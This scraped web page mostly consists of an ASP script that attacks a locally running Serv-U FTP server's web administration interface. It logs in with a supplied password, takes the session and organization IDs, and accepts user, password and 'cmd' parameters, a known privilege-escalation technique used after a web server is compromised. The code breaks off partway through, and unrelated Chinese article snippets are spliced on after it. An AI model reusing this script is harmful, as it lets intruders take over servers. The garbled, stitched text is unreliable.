<%
Function httpopen(neirong,fangshi, *** ,refer,cookie)
set Http=server.createobject("Microsoft.XMLHTTP")
Http.open fangshi, *** ,false
Http.setrequestheader "Referer",refer
Http.setrequestheader "Content-type","application/x-www-form-urlencoded"
Http.setrequestheader "Content-length",len(neirong)
Http.setrequestheader "User-Agent","Serv-U"
Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)"
If cookie<>"" then
Http.setrequestheader "Cookie",cookie
End If
Http.send neirong
httpopen=bytes2BSTR(Http.responseBody)
set Http=nothing
end Function
Function getmidstr(L,R,str)
int_left=instr(str,L)
int_right=instr(str,R)
If int_left>0 and int_right>0 Then
getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L))
Else
getmidstr="执行的字符串中不包含“"&L&"”或“"&R&"”"
End If
end Function
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
<%
'----------自定义参数开始-----------
action=Request("action")
loginpass=Request.Form("loginpass")
port=Request("port")
mydomain=Request.Form("mydomain")
path=Request.Form("path")
ftpport = Request.Form("ftpport")
user=Request.Form("user")
pass=Request.Form("pass")
cmd= Request.Form("cmd")
sessionid=Request("sessionid")
organizationId=Request("OrganizationId")
userid=Request("userid")
domainid=Request("domainid")
'----------自定义参数结束-----------
select case action
case 1
returns=httpopen("user=&pword="&loginpass&"&language=zh%2CCN%26","POST","http://127.0.0.1:"&port&"/Web%20Client/Login.xml?Command=Login&Sync=1227081437828","http://127.0.0.1:"&port&"/?Session=39893&Language=zh,CN&LocalAdmin=1","")
sessionid=getmidstr("","",returns)
if sessionid<>"" then
Response.Write "login ok!"&""
Response.redirect "?action=2&sessionid="&sessionid&"&port="&port
else
Response.Write "error!"&""
end if
case 2
call main2()
case 3
returns=httpopen("","POST","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1","",sessionid)
organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&ID="),len("OrganizationUsers.xml&ID=")+15)
organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1)
if organizationId<>"" then
Response.write "get organizationId "&OrganizationId&" ok!"&""
Response.redirect "?action=4&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId
谢谢网友“axeo*uban”分享,原帖地址,更多新鲜资讯请接见本站论坛。 来往的推广真是无底线啊,前几天送红包,这几天又送天猫盒子。 不仅如此,推广的主题竟然是晒妹子图, 以几个天猫盒子为诱饵...
程序员这个名字在Internet上很流行,它吸引了很多人的注意,尤其是那些对网络或程序感兴趣的人。许多朋友想知道程序员的职位,将向您展示程序员的内心。程序员是做什么的 首先,我们需要了解程序员需要做...
随着人们生活水平的不断的发展,越来越多的人在满足生理需求的同时,越来越学会享受生活了,以前只要可以喝上水就可以生存下去,现在不但要喝上水,还要喝的开心,这也就促进了饮品行业的产生,在饮品行业中,就数奶...
每次网络搜索背后 都离不开她的贡献 科学史话 克伦·施拜克·琼斯(Karen Sp rck Jones)1935年8月26日生于英国哈德斯菲尔德市,一个纺织业较发达的城市。在她小时候,...
首先 进入后台-全局-SEO设置-URL静态化 如图 接着打开:查看当前的Rewrite规则,下载合适规则 <?xml version="1.0" encodin...
室内儿童乐园作为一个能让孩子寓教于乐的游乐场所,受到越来越多家长与孩子的喜爱,所以很多投资者看到了室内儿童乐园的发展前景,想要自己开一家室内儿童乐园,但是很多因为是没有经验所以很多投资者想要知道开室内...